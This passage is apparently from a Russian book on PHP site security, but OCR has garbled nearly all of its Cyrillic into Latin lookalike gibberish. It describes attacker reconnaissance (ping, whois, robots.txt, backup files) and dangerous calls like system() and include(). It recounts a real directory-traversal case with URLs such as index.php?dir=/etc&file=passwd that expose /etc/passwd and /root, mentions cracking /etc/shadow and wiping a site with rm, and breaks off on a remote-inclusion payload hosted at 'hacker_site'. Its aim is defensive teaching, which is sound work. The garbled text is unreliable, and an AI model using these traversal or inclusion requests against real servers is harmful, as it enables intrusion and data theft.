ObiTh HECKONBLKO, M Kaxmasi Gyier onuceBaTh CBOIO cuctemy. Ecnu samperst
JMOJDKHB! JIEHCTBOBATE HA BCE MOMCKOBLIE CHCTEMBl, TO MAOCTATOMHO YKa3aTh
B Havane (aiina IUPEKTHBY User-Agent ¢ HAPAMETPOM 3BE3/IOUKA (*);

0O pisallow: ampec — 3ampeilact WHICKCHPOBATH ONPEACNCHHLIH alpec, Koro-
phiit yKaspiBaeTes otHocuTenbio URL. Hanpumep, ecin Bbl XOTUTe OTKAsaTh-
cst ot uxnekcatun erparinu ¢ URL www.your_name.com/admin, To 5 KavecTse
napaMeTpa HYXHO ykasats /admin. Kak sunure, 10T aapec Gepercs MMEHHO
u3 URL, a He u3 saweii peansHoit dainoBoil CHCTEMBI, TIOTOMY YTO MOMCKO-
Basl CHCTEMA HE MOXKET 3HATh MCTMHHOE nonoxewue (aiinos Ha aAHcKe cepse-
pa v onepHpyeT TOJILKO URL-anpmauﬂ

Bot npumep daiia robots.ixt, KO'I’()pBIﬁ 3arpenaeT WHASKCALUNIO CTPAHMIL, HAXO-
ISIUIHXCS 110 AIpecan www.your_name.com/admin 1 www.your_name.com/cgi_bin
JUts 0OBIX HHASKCHPYIOIINX PoBOTOB MOMCKOBLIX CHCTEM!

User-Agent: *

Disallow: /cgi-bin/

Disallow: /admin/

[anHble npasuia 3anpelanT HHASKCAIUIO ¢ yyeToMm noakaranoros. Hanpumep,
daiiaer mo ampecy www.your_name.com/cgi_bin/forum toxe He GymyT HHIeKcH-
POBATHCS.

Chenyounit npuMep sanpelaerT HHASKCALMIO cailTa BoBCe:

User-Agent: *
Disallow: /

Ecnu Ha BamieMm caiite ecTh KATaMorH € CEKPETHHIMM JAHHBIMH, TO CHEHyeT 3a-
MPeTHTL MX MHIeKcamuio. Jlywile jaMUIHUR pa3 orkasaTs, veMm norepsarb. [pu
3TOM HE CTOMT CIMIUIKOM YBIEKAThCA W 3aKphiBATH BCE MOAPSA, MOTOMY YTO eCIH
caifT He OyAeT MPOHHACKCHPOBAH, TO €r0 HE HAIyT MOMCKOBBIE MAIWHbI, W BBl
norepsere Goablioe KoaudecTBo noceruteneit. Ecin nmouHTepecoBaThes cratu-
CTHKOM, TO MOXHO YBHAETb, YTO HA HEKOTOPbIX CAHTax KOJIMYECTBO MOCETHTENEH,
MPUILEAMNX C TOHCKOBBIX CHCTEM, TIPEBBIIIACT KOJHYECTRO 3aXOHOB 1O MOGHIM
APYTHM CChUIKAM HJIH BXOAOB HAMPAMYIO.
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3.3. Kak B3naMbIBaloT CLiEHa|

Yrobel MOHATE, KAK SAUIUTUTHCS OT Xakepa, HeobBXOOHMO 3HATh, KaK JAEHCTBYIOT
Xaxepsl, ¥ 06 3TOM 51 yXe He pa3s rosopunt ¥ Byay rosoputs. Jlyawmii cneumanuct
no Ge3onacHOCTH — 3TO XaKep, a JIy4inii Xakep — 310 cneunanuct mno Gesonac-
HocTH. TakuM obpasoMm, 4ToBLI CTATh JYYIIHM, HYXHO DACUIMPATH CBOM 3HAHMA
B oboux wHanpasienusx. OCHOBbl B3OMAa KOMITBIOTEPOB MOXHO M3YYMTH MO
kuure "Kommbiotep masamu xakepa' [2], a B aHHOM riaBe Mbl OrpaHuuMMcs
TOJNBKO BITOMAMHK CLIEHAPHEB.

C yero HauYMHATh? 3ABMCHT OT TOTO, K€M BBl XOTHTE CTaTh. ECHH BIJIOMILAKOM,
TO HeoOXOAMMO HAYaTh M3YYEHME CPeiacTB 3amMThl. Ecny crHeuMammeroMm o
Ge3onacHoCTH, CelyeT HAYMHATD U3Y4YeHHE CO CpelcTs Baroma. Mel crpemMumest
K OezonacHocTH, noaromy OyaeM ABMIATLCA OT CriocobOB B3/IOMA.

B nanHoM pasjene Mbl MO3HAKOMMMCS ¢ METOJAMH XaKepoB ¥ OCHOBHBIMH CriO-
cobaMM 3aLMTEI OT 3THX MeToNoB. B clienyiolem pasuene HaM MpeacToUT 1oro-
BopuTh 0 GesonacHocTy Gonee noapobHO,

Jioboit BanoM HaYHHAETCA ¢ WeenenoBaHusl. Ecm xakep Xoder BaoMarh cepsep,
To oH uaydaer ero OC u cnyxObl, Koropsie paboralor Ha cepsepe. B manHoMm
clyqae MBI SAUKILAEM CLEHApHM, MO3TOMY AABAITE MMOCMOTPUM, YTO 3AECH MO-
XKET BEIMCKMBATL XaKep M KaK OT 3TOr0 MOXHO 3aLMTUTECS.

TlepBoe, ¢ 4ero MOXHO H Jaxe HYKHO HAYHHATH, — HCCaeaoBaHie obleNocTy-
Hoit uudopmaunn. Yro B Helt Moxer 6bITh nosie3Horo wis satoma? MHoro yero.
TlepBeiil HHCTPYMEHT, KOTOpPHIIl 3aMyCKAeT Xakep, — 8T0 YTWINTA pPing, KoTopas
NCIOJIL3YETCS Ul NMPOBEPKH CBA3W ¢ yaateHHo# cueremoil. Hanuumre B ko-
MAHIAHOH CTpOKeE:

ping sitename.com

W B DesyNbTaTe HA SKPAHE BbI yBWIMTE nuq:opmauum © CKOpoCTH. oﬁucua nau-

e B KBaAparHbIX ckobkax noxaam{ [P-afipec ynaneHHOM cHCTeMBI:
Pinging sitename.com [209.35.183.210] with 32 bytes of data:

Jlanee xakep Hanpasisiercs Ha modoit caiit, rme eers cnyxba Whois. Takwue
cayx6sl Beerfa OBIBAIOT HA cepBepax KOMTAHMW, 3AHMMAIOWINXCS pPerHeTpanneii
NOMEHHBIX UMEH, Hanpumep, Ha caiite http://www.internic.com/whois.html.
Ha Takoit ciyx6e ykasersaem jnomerHoe ums win [P-agpec uHTepecyionero Hac
caiita ¥ B pesyisTare ronydaeM noJpoGHYI0 MH(POPMALKIO, TAKYI0 KaK MMEeHa
DNS-cepsepoB, KOHTAKTHBIE JaHHbIE anmuuucma'ropa n 1. 4. Dpumep Whols-
JAIPOca MOKHO YBHICTH Ha puc. 3.2.



Whois Search Results

Search again (.sero, arpa. biz, .com, .coop. .edu, .info, int. .museum,
name, net, or .ur]):
]

® Domain {ex intemic.net)
© Registrar (ex. ABC Registrar, Inc.)
O Nameserver (ex nsexample com or192.16.0.192)

Whois Server Version 1.3

Domain names in the .com and .pet domains can now be registered
with many different competring Tregistrara. Go to hotp://www.incernic.nec
for decailed informavion,

Domain Yame: MITROSOFT,COM
Regiscrar: TUCOWS INC.
Whois Server: whois.opensrs.net

Referral UBL: htup://domainhelp,tucows.com
Name Server: NS3.MSET.NET
Name Server: NS1.MSET.NET
Hame Server: NS5.MSFT.NET
Name Server: NB2 MSFT.NET
Nam= Server: NS4 .MSFT.NET
Stavus: REGISTRAR-LOCK
Updated Date: 23-jun-2004
Creation Date: 02-may-1991
Expiration Date: 03-may-2014

e LS

Puc. 3.2. Peaynutar aanpoca Whols

Tocne aroro xakep nepexoauT K uecnenosanuio Web-caiira. 3aech xakep crpe-
MWTCH BBIICHHTB €10 CTPYKTYPY, @ UMEHHO Kakue KATAIOrH WCTONB3YIOTCS, Ka-
kue umelores Gaitnsl cuexnapues # T. K. s vero 310 HyxHo? BapuaHTtoB uc-
NONb30BAHMA 3TOH WH(opMauny MHOTO, ocobeHHo nocne Banoma (Heobxomumo
3HATH, YTO MOXHO NPOCMOTPETH, BINOMAB CaiiT), a Mepel BITOMOM Xakep rpe-
CHIENYET, B OCHOBHOM, /B¢ LEJH:

0 Haittu cueHapuil, Korophiit sBnsAeTca OBILENOCTYITHBIM (KOMMEPYECKHM HIIN
becruiaTHeiM). Hanpumep, GoNBIIMHCTBO BlANENLLEB HEKOMMEpPYECKHX caili-
ToB He Oyner pazpabareiBaTh cBoM coOcTBeHHBIE clieHApHH GopymoOB, a, CKO-
pee, BocTionbayerca obuien3pecTHbIMU, Hantpumep, phpBB (www.phpbb.com).
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Ecnut xakep Haimer obuieaocTymHyio ciiyk6y, To obs3arefibHO OCTABAT ITOT
caliT Ha samerky. Yem monynspHee cueHapuii, TeM Gosibllie Xakepbl BCEro Mu-
pa yAeAsioT eMy BHUMAHWUA W TEM 4alle HaxomaT B Hem yassumoctd. Maeannb-
HBIX mporpamMm He GuiBaer, u Besne ecTh OWMOKKM, UX MOMCK — BOMPOC Bpe-
meHM. Kak TOaBKO YA3BHMOCTH CTaHET W3BECTHOW, & AIMHHHCTPATOp He
ycrnieer 0OHOBHTE calfT, Xakep OBICTPO MONYYUT KOHTPOJbL HAIL 3THM calToM.

00 Ouens 4acTO NPOTPAMMHMCTEI COXPAHAIOT HA CaliTe CTAPHIC BEPCHH CHEHAPUEB.
Hanpumep, ¢aitn cuenapus Hassisaercs index.php, a nporpaMMHcT Harucan
HoBylo Bepcuio. Ilpexie yem OOHOBAATH Gaii, OH MEPeMMEHOBBIBAET TEKY-
uIyio Bepcrio B index.bak wmm index.old, a morom yXke KOmMMpyeT HOBYIO Bep-
cuio. Takum obpaszom, eciu obHOBIeHHan nporpamMma He Oyamer paborars,
MpoCThIM NepeuMeHoBanueM haiiioB MOXHO BEPHYTBCH K CTAPOil BEPCHHM.

A TectupoBai Ha GezonacHoOCTb YXe MHOTO CaiiToB, ¥ ecnu cueHapuw Gbum ca-
MOMHMCHBIMU (HANMCAaHbl BRANETbLEM CaliTa, KBATM(DHUKALMS KOTOPOrO OCTABISET
Xe/IaTh JIyYllero), TO O4EHb YaCTO MOXHO Smo HAiiTH pe3epBHbIE KOMMH CHEHa-
pHEB, ¥ JUIA HUX B GONBIIHHCTBE Cy4Yaes YCTAHABIMBAIOCH paciumperne old win
bak. Ecim xakep MOMYMMT B CBOE PAcHOPSDKEHHE MCXONHbLIH KOM, 3T0 CEphe3HO
PA3BSKET eMy PYKM M YNPOCTHT Mouck ysssumoct. Ilpm obpawennu K daitny
¢ pacitupesneM php, oH BHIMOJHACTCS HHTEPNPETATOPOM, M MCXOAHSIH KoM YBH-
ners He ynaeresi. OQHaKo eciiM MAMEHWUTh paciuMperie Ha old u nonsirarbes or-
KpbITh (aiil, To MOXHO Gyaer yBUIETb MCXOHBIH KO Mau cKayath ¢aiil cueHa-
pus K cebe Ha AHCK,

st cbopa uHbopmaumu o BpeMeHHBIX (alinax Xakepsl MOTYT HCIONB3OBATH
CreLHAU3UPOBAHHEIE NPOrPaMMbl, YTOOBI HE MYYMTBCA C TECTOM BPYYHYIO, No-
3TOMY HE CTOMT AYMATh, HTO 3TO CIOXKHAN 3A1a4a M XaKep HUYEro HE HAAeT.

Huxoraa #e cosnasaiite pesepsHbie Konuu (aiinos Ha oapaepe KOMUpYATE HX Ha
CBOI KIMEHTCKUH KOMITBIOTED.

0 Bo Bpems MPeABAPHTETLHOrO AHAIM3A XaKep MIIET Bee (opMbl, KOTOPhIE MO-
JIY4al0T BBOJL OT IOAB30OBATENA, W INepenaer ux cepsepy. lepenaya napamerpos
Bceraa onacHa. Cobpas 3TH cBeneHus, Xakep BHOCHejNCTBMHM OymeT TecTupo-
BaTh nepefayy napaMeTpos B HAMEX/e, YTO XoTd Obl oAUH cueHapuil He mpo-
BEpsieT BBOAHMBIE TIOJIb30OBATENEM JaHHBIE.

0 3Hast CTPYKTYPY KaTaloOroB, MOXHO Oojiee YeTKO aKUeHTHpPOBATh CBOE BHHMAa-
HUE W UCKATh YA3BUMOCTH MMEHHO TAM, Tae Oyner mony4yeH Hauaydiuuil pe-
synerar. B pasdese 3.2.6 Mbl rOBOpUIIM O TOM, YTO HA cepBepe MOTYT OBITH Ka-
TAAOTH, KOTOpBIE HEAb3s MHIAEKCHMPOBAThL IMOMCKOBBIMK cHcTemamu. Pas
HEeJIb3sl, 3HAYUT, B HUX ECTh YTO-TO WHTEPECHOE. A KTO MELIAET HaM B3INAHYTH
Ha daitn robots Xt 1 YBHAETh, YTO UMEHHO AAMUHKCTPATOP WK paspaboTynK
caiiTa 3ampeTwi uHiaekcuposars? A aymaio, 4To HUKTO.

JlonycTum, 4TO Bl yBuaeay B (aiiie cieayioume CTPoKH:
User-Agent: *
Disallow: /admin/
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Disallow: /include/
Disallow: /optieons/

Tenepe xakep Oonbine BHUMaHMs Oyler yuenaTh Kararory /admin, noromy “To
TaM SIBHO HAXOMATCS CUEHApMM axMHHMCTpatopos. B karasore /options moryr
HaxonMTECA (haitiabl HACTPOEK, M ec/H XaKep CMOXeT onpexeinTh ums hailna
B 3TOM KATAIOre WM, elle XyXKe, CMOXKEeT YBUACTL CONEPXKMUMOe KaTaiora, To calt
OK&KETCs Mol Cephe3HOH yrposoii.

Cofpas BOGIMHO OTKPHITYIO WHGMOPMANMIO, XakKep CTPEMUTCS NPONABUHYTHCS
TyGKe M y3HATh O cucTeMe HeMHoro Gosabiie, Ha 9TOM sTane xakep nbitaerces
BBECTH HEIMPaBMIbHEIE HAHHBIE BO Bee OPMBL M CIEANT 32 cOOBLIEHUAMM, KOTO-
pbie BLIZAET CEpBEp, B Hauexiae y3HaTe uro-nubo o cTpyKType 6d3nl JAHHBIX
H ucnonb3yeMsix daiinax.

MneanbubivM BapuaHToM Juis xakepa Oyaer BO3MOXHOCTH yBHIETh coobuierue
O HeNnpaBuIbHOM JOCTYNEe K AaHHBIM, MIPY STOM HA HKPAHE MOXET OTODpAXATHCH
SQL-3anpoc, Ecin B3noMiunk yBHAMT ero, To obbeM MHGOpMALMKM B pyKax Xa-
Kepd M ee BaXHOCTh CYLIECTBEHHO BOIPACTAIOT.

Bo spemsi yrnyGneHHoro aHanusa Xakep MepexoiuT K paccMOTPEHMIO UCXOMHLIX
konos crparuil. Camu nporpammbl Ha a3sike PHP oH He MoXer yBuaers, notomy
YTO OHWM BBIMOJHSIOTCS Ha cepsepe, a KiIHeHTy nepenaerca Tonbko HTML-kon,
HO W 3eCb MOXHO Koe-uTo Haiiti. Bo Bpems yrinybGneHHOro aHanmsa B3NOMIIUKA
Gosibilie BCEro BHAMAHHUS YASNSIOT CACAYIOLIHM MOMEHTaM:

1 KOMMEHTapHW — MOFYT CONEpPXKATh WHTEPECHYI0 HHMOPMALMIO O KO[e MK O
HasHaveHnu napamerpos. MHOrma serpevalotes caydan, KOrna nmporpaMMucTsi
OCTABJISAIOT B KAMECTBE KOMMEHTapusi Hefbie (hparMeHTHl Kola, KOTOphIe Mo-
3BOJIIOT Xakepy ObIcTpee HAMTH MOTEHIMATBHbBIE OUIMOKH;

O ckpbithie GOPMBL ¥ NApaMeTphl — MOTYT NEPENABATLCA C MapaMeTpaMu GET
WK POST 1 CONEPXKATH OYEHD BXHYIO MHGPOPMALIHIO,

0 Bce MMEHA NMApaMETPOB, KOTOPbIe UCMONL3YIOTCS B MPOrpaMmMe, U MMeHa cle-
HAPUEB, KOTOPLIM OHM TIEPEAAIOTCH.
Korna cobpan MakCHMAILHO BOSMOXHEIL ofbeM nHbopMalny, HAYUHARTCS TIPO-
BEPKA CHEHAPUEB HA KOPPeKTHOCTH 0OpaloTKM BXOOHLIX NaHHLX. [is sToro Bo
BCEX TIApAMeTPax MOXET Nepemnasarsest "Mycop”, COCTOSIHI M3 TAKMX CUMBOJIOB,
KaK THpe, MoAYepKWBaHWe, TOYKa ¢ 3amaToi, ciasiwi, obpaTHeOi ciasw u T. 0.
MHorie U3 3THX CHMBONOB B HEKOTOPBIX CIIYYasX ABASIOTCS 3ape3epBHPOBAHHEI-
MW, HATpUMeP, NpH OTKPHITHH (aitnos WK npu pabore ¢ 6asamu naHubiX. Ecin
HA KAKON-TO M3 CUMBOJIOB ONpeleNeHHBI cueHApUl Bbhlman coobuenue ob
ounbKe, To B TAKOM coobIeHuH, cxopee Beero, OyIeT coMepkaThes CTPOUYKA KO-
f1a, B Kotopoit nponsonina owmbka, u umsa pyHkuun win SQL-3anpoc. Dro ro-
BOPHT O TOM, YTO Kakoii-ro cumBo/l obpabaThiBaeTcsi HeBepHO, W JankHeiilee
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NPOHMKHOBEHUE Ha CEpBEP MPOOIKAETCS YKE B 3aBHCHMOCTH OT TOTO, THE APO-
u3onura omubka. Hanbosnee KpUTHYHBIMK SABASIOTCSA:

O ¢ysxkumu obpamieHns K cucréme, Takue Kak system(), exec() u T. . Ecnu
npu ofpaleHun K 3TuM QYHKIUAM HE TPOMCXOIUT NMPOBEPKA HA CleuHalb-
Hbl€ CHMMBOMBL, TO Xakep OYAET MbITAThCA BBHIMOMHHUTH CHCTEMHbBIE KOMAHIILI,
Hanpumep, Is s npocmorpa Tekyuero karanora B8 OC Unix. M ecam npu
stoM npasa ¥ Web-cepgepa 10CTATOUHEI JUIS BHITIONHEHUA BAXHLIX KOMAHI,
TO MOXHO CHMTATB, UTO Xakep nobwicsi nocrapieHHoll uemm. C noMouIbIO
KOMaHJ, HECJIOXKHO BBITONHUTH TAKHe aTaku, Kak:

¢ gedpeiic (deface), 1. e sameHa (TABHOM CTPAHMIKI, — JOCTATOMHO VAAAHTH
dailin cueHapus raBHOH CTpaHWLLl M 3AMEHHTH €ro Ha CBOI;
* yHMUTOXeHME Bcero caiita. Ecim ecTh BOIMOXHOCTb BBITONHATE KOMAHY
yaaneuust daitnos (it Unix-cucreM 310 rm), TO JAOCTYN Ha yaaieHue
‘ clileHapueB y xakepa TouHo Gyner;

O dyakuun paborsi ¢ daitmamu, Takne Kak include (), readfile() u 1. i C ux
NOMOMIBIO XAKEP MOXET MOMLITAThEs! NPoYuTaTh KoHpurypaunontsie cafinsl,
Hampumep, ailn co cnWcKoMm noib3oparenedl  Jetc/passwd, a Jydme
/etc/shadow, rue B Unix-cuereMax xpausites sawmcpposanubie mapomn. [a,
napoiy 3amndpoBaHsl, HO HOAOGPATL WX HE COCTABAAET 0COBOrD TPYIa;

O SQL-3anpoesl, ¢ NOMOMIBIO KOTOPHIX XAKEP MOXET HAPYUIHThL LEIOCTHOCTh
Gasbl HAHHBIX, YIATHTL WIW U3MEHUTH BAXKHBIC TaHHBIE WIH TONVYUTE JOCTYI
K xoHbuaeHUnanbHoNH uHGopMaumu, Hanpumep, Tabanue naponeit.
OcHoBHAs YA3BUMOCTbH CLIEHAPUEB — 3TO OTCYTCTBHE MPOBEPKH KOPPEKTHOCTH
NapaMeTpoB W AAHHLIX, MONYYaeMbIX OT NOML3OBATENS, W 3Toil Teme Mbt Gytem
YIENSITh O4€HL MHOTO BHMMAHMS. Y CHUCTEMHBIX (DYHKIMH Bbl 06S3aHBI yIANATE
W3 MapaMeTpoB caaium, ofpaTHbIe CA3IIU U TOYKH € 3AnsATOl.

Ho He omHumu napamerpamu XusyT xakepul. Ectb eme ataku Cross-Site Script-
ing U uiya, HO 3TO COBEPINEHHO APYTash MCTOPHA, W 3TY TEMY Mbl PACCMOTPHM
B pasdeaax 3.11 u 3.12 cooTBETCTBEHHO.

3.4. OcHOBBI 3aLWWNThI cueuﬁpuea

Ecimm ¢ 3ammToit cepeepa M 6a3spl gaHHBIX Bce Donee-meHee ACHO W MOXHO
chopMyIHPOBaTh ONpEle/eHHbBIE MPaBUIA, @ TIPU YeTKOM HX cobiofeHuH roBo-
pHTh 0 GE30TMACHOCTH, TO TIPH CO3NAHMM CLUEHAPHS CUTYAUNS HAMHOTO CIOXHEE,
Jaxe CTPOro creays caMbiM XKECTKMM PEKOMEHIALMSAM, MPOrpaMMHICT HE MOXET
rapaHTUpoBars 3aumTy xotd 66t Ha 90%. INpobrema B TOM, YTO MMEHHO BO BpeMs
nporpaMMHpoBaHis 60mbile BCEro Npossisercs yersoneyeckui daxrop.

3awmTa crueHapus KomkHa GbITh MHOroyposHesoil. Her Takoro merona, KoTopsiif
saumrun 661 Bawy cucremy u Gbin 6bl cambiM xopotuM. B cayuae ¢ GesonacHo-
CThIO BCE METONLI Xopoiuw. SIpKuit mpuMep M3 XKH3IHH — B JABHME BpeMeHa
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BOKDYI TOPOJIOB CTPOMNMN BBICOKHE CTEHBI, KOTOPHIE MO3BONSIN 3AMUTUTD KUTe-
aeit or HaGeros. Ho aroro Mano. OnHy creHy MOXHO CIOMATh, €C/TH ATAKYIOLIHX
Gyner B 100 pas Gonbwe, yem sammmarommxes. Ho ecmu:

nepe cTeHaMu MpoKonars riyGokuit pos;

B POB 3QIATH BOJEI H HAMYCTHTh KPOKOIHIOB,

nepen HUM MPOKOMNATE ellieé OIUH POB H HAKPHITE ero JTUCTBAMU,

HA CTEHAX NOBECHUTh KOJIIOYYIO [POBONOKY W YCTAHOBHMTH KOIbSI, KOTOpbie HE
MO3BOJIAT MPHCTABIATE K CTEHE JIECTHHILBL

TO TAKYI0 Kpenocrs MOXHO Oyaper sawuturs apmueit B 1000 yenosek naxe or
MWUIHOHA Hananaioumx, Yem Gonbile ypoBHEH 3aINTEL, TEM cloXHee ee oboil-
TH, B TOM YHC/e W B KOMIBIOTEPHOM MHpe. BolbmMHCTBO HenpodecCHOHATBHAIX
BOHHOB HE MOHACT HA XOPOLWIO 3AUMINEHHYI0 KpPErocTh, Onacasch NOruGHyTH.
Touno rak xe, GONBUIMHCTBO XaKepoB He OGyAeT JOMATh AOCTATOYHO 3ALLMILEH-
HBIH cepBep, onacasiCh OKa3aThes MOMMAHHAIM H MOTIACTE B TIOPEMY.

ogoaan

3.4.1. PeanbHblii npumMmep olunbkm

BykBankHO cerofHs s HATKHY/ACSA Ha OAMH caiiT (He GylneM yTOYHATH €ro Haspa-
HHUEe), Ha KOoTopoM 3awuTa Obina aaneka ot uaeana. JlioGoi xakep, ysuaes, KaK
dopmupyercs URL-ampec, cpasy HauHer Konarb IiyfXe ¥ CMOXET MONY4YHTh
npasa jocryna K 2roil cucreme. Iloemorpum, B uem Obuid omnbxu, utobur He
MOBTOPHTE MX B CBOMX MPOEKTax.

B paccmarpuBaemsix npuMepax #Ms cepsepa Byzer 3amMeHeHO Ha sitename.domain.
Sl ornpasun paspaboTYMKaM NMUCHMO C OMCAHMEM OMOKM, HO MHE He Xoueres,
4100Bl MOA KHWTA CTANA NpHYHHON BaZoMma 3Toro caiita, eciau paspaboTuMKu He
MCMpABAT OUIMOKY K MOMEHTY BBIXOAA KHMIH.

Wrax, anpec na caitre (hopmuposaics ciaeayioumnm obpasom:
http://www.sitename.domain/index.php?dir=karanor&file=daiin

B nmapamerpe dir mepesaercss KaTamor, H3 KOTOPOrO HYXKHO mpouuTars aiir,
a yepe3 napameTp file mepenaerca uMs ailna. Mue cpasy Xe CTalo HHTEPeCcHo,
4TO MOMYYUTCHA, €C/IM B KadecTBe MMeHH daiina nepesars yro-Hubynb spone
Jete/passwd (daitn, B KoropoM Unix-cepBepbl XpaHAT CHUCKH MNoak30Bareneit).
B orser s nonyuun coobmenune: "M kro Teba mpocun sto genars?’ Ouens xopo-
wo, pa3paboTyKi ABHO MPEAYCMOTPENH BOIMOXHEIE ATAKH.

Torna s BMecTo MMeHM (aitna mocrasui npocro Touky, uro B Unix-cepsepax
yKa3blBaeT Ha TeKyuii karanor. Ha ator pas s ysumen B okHe Gpaysepa CITHCOK
daiinos katanora, yKazaHHOIo B KayecTse napamerpa dir. Buanmo, paspaborymn-
K1 MCMONB30BAIK QUILTP, KOTOPhI 3aMpeLian nepeiasaTh B KaYecTse mapaMerpa
3HAKM /, HO OIMHOYHAS TOYKA He mposepsuiach. Hembas 3arpeTuTh TOYKY Boob-
e, pedb WMeHa (alioB OYEHB YACTO COAEPXAT TOMKY IS OTASNCHUS MMEHH
chaiina oT pacUIUpeHUs, HO OAUHOYHYIO TOUKY MPOREPATH Heobxoaumo.
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Ho arto ewe He Bee. Sl monbiTancst BEIMOAHATE CASNYIOUINIA 3aMpoc K cepBepy:
http://www.sitename.domain/index.php?dir=/etc&file=,

B kavectBe Karanmora ykaszaHa cucremuas mamka Unix, a smecto umeHu daiira
CTOMT TONBKO TOYKA. B OTBET HA 3TO §I YBMIEH MOJHOE COACPXMMOE Karanora
/etc. Hy 4ro xe, nonpobyem npocmoTpers Kakoi-Hubyas daiin B 31oM Karanore,
HAnpHMep, passwd, B KOTOPOM HAXOAMTCA CNMCOK TONb30BaTeNneii CHCTEMBI:

http://www.sitename.domain/index.php?dir=/etc&file=passwd

Pesynbrar npessotien Bce oXuuganus. Mano Toro, uro s yBumenR COAEPXKHMOE
¢daiina, Tak ewie B 3aronoBKe oxkasanack HHopMaLHs 00 yeraHORIEHHOM cepBepe
(puc. 3.3). B pannom ciydae sto okasancsa FreeBSD, Ha pucynke s yaanuwa sce,
4TO MOXET YKA3aTh BAM Ha CaiiT, U OCTABII TONBKO colepiaumoe daiia /ete/passwd,
KOTOpOE fokasan Gpaysep, 1 3arofloBOK.

Puc. 3.3. Peaynbrar npocmortpa daina naponeil.
B saronoeke otoBpaxaeTca MHGOpMAaLuA
06 onepauvoHHO cUcTeMe cepaepa
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Iepsas cTpoKa Hale BCEro yKasbIBAET HA YMETHYIO 3amyuch anMuuuctparopa. Tyr
XOUETCs MOXBANUTE paspaboTyuMKoB 38 TO, HTO OHW MEPEHMEHOBANH YIETHYIO 3a-
muck. [To ymomganmio OC uenonsayer UMs root, HO €ro H3MEHWIM Ha Loor. Ko-
HEYHO, 3TO CAMLIKOM MPOCTOE pelieHue, HO Bee-Taku nyvule, yeM Huvero. Ecam
OBl OHH K TOMY Xe TEpeHMEHOBANM JOMALIHIO [ANKy axMuHUcTparopa, Osuio
6Bl coBceM XOpoluo,

Tpexne yeM 3aKOHYHTH MCCHENOBAHME, 4 3aNISHYI B JOMAUTHIONW MANKY 8IMMK-
HHCTpaTOpAa: '

http://www.sitename.domain/index.php?dir=/root&file=.
Camoe nHTEpecHoe, YTo MHe GbUTK MoKasaHbl Bee daiibl. 3nauut, npas y Web-

CepBepa NOCTATOMHO UIs paboTel ¢ 9THMHU (aitiamu, YTo yKe oueHDb OMacHo, BENb
B 3TOi Marke sSIBHO JEXAT pe3epBHbIE KOMHA ¥ Konuy daltnos xondurypaumm.

Ha stoM s pewma 3aKOHYMTh WCCAENOBAHWE W HANPABATH ANMHHHCTPATOPY
MHCHMO ¢ ONMCAHNEM YASBHMOCTH, YTODLI €€ CMOMIN 3aKPBITH IO BHIXOAd KHUIH.
A Belb MOXHO GbUIO CKAYATH KOH(DUIYPALMOHHBIE @aﬁam M pe3epBHBIE KOMHM,
a raxkxe caitn ¢ mum:bpom-ummpomw H, 0 JIN3HPOBAB UX, BINIOMATH
cepsep W yAaIUTh Bee ero comepkumoe. Ho ato e ykpaumaer Hactosiuero xake-

pa, & TONILKO MOPTUT ET0 PEMYTAINIO, MO3TOMY 5 HE CTal NPOBOAUTL AdibHEl IINe
HCCTIEIOBAHMS,

Heobxonnmpif MEHUMYM aelicTBHIf, KOTOPbIE mﬁrx BBINONHUTE AAMHHUCTPA-
TOPBI [UTA 3aLLMThL caliTa:

O B napamerpe dir MpoBepATh HAIHYME CIIWA U ToUKH. B arom ciyuae B kave-
cTBe Katarora OyAer paspeuieHo YKa3piBaTh TOALKO MMA B TEKylUEeM Karaziore,
T. €. Helb3s OYIeT yKasbiBarh. TIYTH, HANPHMED, Jete. Hackoiisko MHE yranoch
MOHATHL CTPYKTYPY Caiita, Ha HEM HET BJIOXKEHHBIX KaTaloroB, H CA3LI NMPocTo
HE HYXEH.

O He ucrions30Bath HMEHa NMapamMeTpoB Bpoje dir U £ile. Takue uMEHa MansT
no6oro B3NOMUIMKA, KaK KoTta Banepesiika. Jlysuwe 65010 Gbl 3aMEHNTb UX Ha
GeccMbICIeHHBIE MMEHA, CKaXeM, paraml M param2. He poransmsasch o Ha-
JHAYEHHH MAPAMETPa, HAYHHAIOUIMNA BITOMUIAK HE CMOXeT OBICTPO HaifT
eMy npHMeHeHue.

O Ha nanHOM caiiTe 3anpeTutsh TOUKY HETbas, NOTOMY YTO OHA HMCTIONb3yeTcs
JUIsl OTAENEHMS PACIINPEHNs, a OMHHOYHYIO 3aNpeTHTh HeoOXomuMo. B stom
CTyqae BIMOMIIMK HE CMOXET MPOCMOTPETH TeKYILHl KaTanor. '

Ecau Gbi st mican cleHapuif, To B mapaMeTpe file mepefaBas Gbl TONLKO HMs
daiina Ges paciinpeHus, a pacuHperue nojacrasasut 61 nporpammuo. [ist atoro
HYXKHO, yToBEl Bee NnogkmovaeMele Gaiiasl MMenn oaHo pacmuperne. A Oul s
31010 BLIGPAN YTO-HHOYIS HepearsHoe, Hanpumep, fdfedg, u man Gul Takoe pac-
IMpeHne BeeM nomKkmouaemeiM daitiam. B arom caywae B crpoke URL nepena-
ercsi karanor W mMma aiina Ges paclIMpeHus, a pacilMpeHUe TpPHKperuisercs
MpPOTpPaMMHO. DTO pelliaeT O4eHb BAKHYIO Npobremy.
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JonycTuM, B3TOMIIAK XO4eT MpocMoTperh (haitn naponeii. s storo ol Buinos-
HAET 3ampoc:

http://www.sitename.domain/index.php?dir=/etc&file=passwd

Cuenapuit nesaeT OCHOBHBIE TPOBEPKH, 0OBEANHSIET NapaMeTp dir ¢ napamMerpom
£ile W MPOrpaMMHO noGapisier pacirupenue fdfpdg. Maxe ecn » napamerpe dir
HeT MPOBEPKH HA HANWYWE C/I31ud, B pesynsrare foaydaercs: /etc/passwd.fdfgdg.
Koneuno ke, Takoro ¢aiiia He CyIIecTBYeT B CHCTEME, ¥ CLEeHApHii maac’r co-
obureHne ob ommbke.

MpubasieHne pacliMpenus eile He rapaHTHpyeT Ge3onacHocTh, NOTOMY YT 3Ty
npobnemy Jerko oGoiiT. [lonycTuM, uTo ¥ Bac B KAYECTBE NapaMerpa repeaercs
ums aiina, a B Kauecrse pacuImperus nporpaMMHo nobamisieres news.php. Do
He Cydai bl NpUMep, s BUes TaKoe B peaibHOM HpuioxeHun. Teneps, -rroﬁu
00OHTH 3aUATY, XAKEepY HYXXHO BLIMOIHHUTEH CIEAYIOILIUE maru:

0 co3nare Ha CBOEM cepBepe 3MOHAMEPEHHBIA (ailn ¢ Mo6LIM HMEHeM W pac-
uMpeHueM news.php, Hanpumep, http://hacker_site/hack.news.php;

O nepenarts 3107 (hajin B KauecTse napaMerpa:
